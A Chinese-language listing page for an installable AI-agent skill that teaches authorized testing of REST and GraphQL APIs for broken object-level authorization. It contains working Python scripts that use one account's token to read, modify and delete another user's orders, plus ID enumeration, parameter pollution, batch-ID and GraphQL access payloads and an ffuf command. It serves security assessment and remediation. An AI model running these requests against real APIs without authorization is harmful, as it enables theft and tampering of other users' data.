关于 testing-api-for-broken-object-level-authorization
用于经授权 API 安全评估的技能,指导测试 REST 和 GraphQL 接口中的对象级授权,并覆盖自动化检查与结果记录。
主要功能
- 01发现 API 端点及对象标识符
- 02比较不同账户的合法请求
- 03测试水平越权和对象访问
- 04检查参数污染与请求体覆盖
- 05使用 Autorize 自动重放请求
- 06覆盖 GraphQL 对象授权测试
适用场景
- 01评估多租户应用的用户数据隔离
- 02验证新增 API 端点的授权检查
- 03检查读写和批量接口的对象权限
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-api-for-broken-object-level-authorization安装后在 Claude Code 中输入/testing-api-for-broken-object-level-authorization确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
测试失效的对象级授权 API
何时使用
- 评估在 URL 路径、查询参数或请求体中使用对象标识符的 REST 或 GraphQL API
- 执行 OWASP API Security Top 10 评估,其中必须测试 API1:2023(BOLA)
- 测试多租户 SaaS 应用,其中来自不同租户的用户不应访问彼此的数据
- 验证 API 端点是否在仅认证之外强制执行按对象授权检查
- 在添加新端点后评估 API,以确保授权中间件得到一致应用
请勿使用,除非获得 API 所有者的书面授权。BOLA 测试涉及访问或尝试访问其他用户的数据,这需要明确许可。
前置条件
- 指定目标 API 端点和测试范围的书面授权
- 至少两个具有不同权限级别和不同数据集的测试账户
- 配置为拦截代理的 Burp Suite Professional 或 OWASP ZAP
- 每个测试账户的认证令牌(JWT、会话 cookie、API 密钥)
- API 文档(OpenAPI/Swagger 规范)或用于枚举端点的访问权限
- Python 3.10+ 及
requests库,用于脚本化测试 - 安装 Autorize Burp 扩展,用于自动化 BOLA 检测
工作流
步骤 1:API 端点发现和对象 ID 映射
枚举所有 API 端点,并识别引用对象的参数:
从 OpenAPI/Swagger 规范:
# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
for method, details in methods.items():
if method in ('get','post','put','patch','delete'):
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
if params:
print(f'{method.upper()} {path} -> params: {params}')
"
从 Burp Suite 流量:
- 以用户 A 的身份浏览应用,操作所有涉及数据创建和检索的功能
- 在 Burp 中,转到 Target > Site Map,并筛选 API 路径(例如
/api/v1/、/graphql) - 查找模式:
/api/v1/users/{id}、/api/v1/orders/{order_id}、/api/v1/documents/{doc_uuid} - 记录对象 ID 格式:连续整数(可预测)、UUID(较难预测)或编码值
对对象 ID 类型分类:
| ID 类型 | 示例 | 可预测性 | BOLA 风险 |
|---|---|---|---|
| 连续整数 | /orders/1042 | 高 - 递增/递减 | 严重 |
| UUID v4 | /orders/550e8400-e29b-41d4-a716-446655440000 | 低 - 随机 | 中(如果泄露) |
| 编码/哈希 | /orders/base64encodedvalue | 中 - 解码并预测 | 高 |
| 复合 | /users/42/orders/1042 | 高 - 多个 ID 可替换 | 严重 |
| Slug | /profiles/john-doe | 中 - 猜测用户名 | 高 |
步骤 2:使用已认证用户捕获基线请求
捕获用户 A 和用户 B 的合法请求:
import requests
BASE_URL = "https://target-api.example.com/api/v1"
# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # e.g., 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]
# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # e.g., 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]
print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")
步骤 3:BOLA 测试 - 水平权限提升
尝试使用用户 A 的认证访问用户 B 的对象:
import json
results = []
# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "Access other user profile",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"Access other user order {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
# Test 3: Modify User B's order with User A's token
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "Modify other user order",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "Delete other user order",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Print results
for r in results:
status = "VULNERABLE" if r["vulnerable"] else "SECURE"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
步骤 4:高级 BOLA 技术
测试不太明显的 BOLA 模式:
# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")
# Technique 2: JSON body object ID override
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")
# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")
# Technique 6: Method switching - GET may be blocked but PUT allowed
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"Method {method} on other user settings: {resp.status_code}")
步骤 5:使用 Autorize 自动检测 BOLA(Burp Suite)
为自动检测配置 Autorize:
- 在 Burp Suite Professional 中从 BApp Store 安装 Autorize
- 在 Autorize 选项卡中,粘贴用户 B 的认证 cookie 或 header
- 配置拦截过滤器:
- Include:
.*\/api\/.*(仅 API 路径) - Exclude:
.*\.(js|css|png|jpg)$(跳过静态资产)
- Include:
- 设置执行检测器:
- 添加用户 A 和用户 B 之间响应长度或状态码不同的条件
- 如果用户 A 对用户 B 的资源得到 403/401,则标记为“已强制执行”
- 如果用户 A 得到 200 且包含用户 B 的数据,则标记为“已绕过”
- 以用户 A 的身份浏览应用;Autorize 会自动使用用户 B 的令牌重放每个请求
- 查看 Autorize 结果表:
- 绿色 = 已强制执行授权(安全)
- 红色 = 已绕过授权(BOLA 漏洞)
- 橙色 = 需要人工审查(响应不明确)
步骤 6:GraphQL BOLA 测试
# Test BOLA in GraphQL queries using node/ID relay pattern
# User A queries User B's order by global relay ID
query {
node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
# Test nested object access through relationships
query {
user(id: "1002") { # User B's ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}
}
}
}
}
}
关键概念
| 术语 | 定义 |
|---|---|
| BOLA | 失效的对象级授权(OWASP API1:2023)- API 未验证已认证用户是否有权限访问请求所引用的特定对象 |
| IDOR | 不安全的直接对象引用 - 一个密切相关的术语,指应用程序使用用户可控的输入直接访问对象而不进行授权检查 |
| 水平权限提升 | 通过操纵对象标识符,访问同一权限级别下属于其他用户的资源 |
| 垂直权限提升 | 访问仅限于更高权限级别的资源或功能(例如,普通用户访问管理员端点) |
| 对象 ID 枚举 | 通过分析有效对象标识符的格式(顺序整数、UUID 模式、编码值)来预测它们 |
| Autorize | 一个 Burp Suite 扩展,通过使用不同用户令牌重放请求来自动化授权测试 |
工具与系统
- Burp Suite Professional:拦截代理,用于捕获和操纵 API 请求,并配合 Autorize 扩展进行自动化 BOLA 测试
- OWASP ZAP:开源替代方案,带有 Access Control Testing 插件,用于授权边界测试
- Autorize:Burp 扩展,通过在不同用户上下文中重放请求来自动检测授权执行情况
- Postman:API 测试平台,用于在集合中使用不同认证令牌构造和重放请求
- ffuf:Web 模糊测试器,可大规模枚举对象 ID:
ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"
常见场景
场景:电商 API BOLA 评估
背景:一个电商平台为其移动应用暴露了一个 REST API。该 API 对订单、用户和地址使用顺序整数 ID。提供了两个测试账户:一个普通客户(用户 A,ID 1001)和另一个客户(用户 B,ID 1002)。
方法:
- 从
/api/docs的 Swagger 规范中映射所有端点:识别出 47 个端点,其中 23 个接受对象 ID - 捕获用户 A 对其自身资源的请求:个人资料、订单、地址、支付方式、愿望清单
- 在所有 23 个端点中,系统地用用户 B 的 ID 替换用户 A 的对象 ID
- 发现
GET /api/v1/orders/{id}会返回任何订单,无论所有权如何(读取操作上的 BOLA) - 发现
PATCH /api/v1/addresses/{id}允许修改任何用户的地址(写入操作上的 BOLA) - 发现
GET /api/v1/users/{id}/payment-methods会泄露任何用户的支付卡后四位数字 - 测试批量端点
POST /api/v1/orders/export- 接受订单 ID 数组并在没有所有权检查的情况下导出全部 - 验证
DELETE /api/v1/orders/{id}对非拥有的订单正确返回 403(授权已执行)
陷阱:
- 仅测试 GET 请求,而遗漏 PUT/PATCH/DELETE 方法中允许数据修改或破坏的 BOLA
- 假设 UUID 可以防止 BOLA - UUID 的可预测性较低,但可能会在 API 响应、日志或 URL 参数中泄露
- 未测试嵌套资源路径,其中授权可能在父资源上检查,但不在子资源上检查
- 遗漏接受对象 ID 数组的批量/批处理端点中的 BOLA
- 未考虑不同 API 版本(v1 与 v2)可能具有不同的授权实现
输出格式
## Finding: Broken Object Level Authorization in Order API
**ID**: API-BOLA-001
**Severity**: High (CVSS 7.5)
**OWASP API**: API1:2023 - Broken Object Level Authorization
**Affected Endpoints**:
- GET /api/v1/orders/{id}
- PATCH /api/v1/addresses/{id}
- GET /api/v1/users/{id}/payment-methods
- POST /api/v1/orders/export
**Description**:
The API does not enforce object-level authorization on order retrieval,
address modification, payment method viewing, or order export endpoints.
An authenticated user can access or modify any other user's resources by
substituting object IDs in the request. Sequential integer IDs make
enumeration trivial.
**Proof of Concept**:
1. Authenticate as User A (ID 1001): POST /api/v1/auth/login
2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)
**Impact**:
- Read access to all 850,000+ customer orders including shipping addresses and order contents
- Write access to any customer's delivery address, enabling package redirection
- Exposure of partial payment card data for all customers
**Remediation**:
1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`
3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
5. Implement rate limiting per user to slow enumeration attempts
评论
支持 Markdown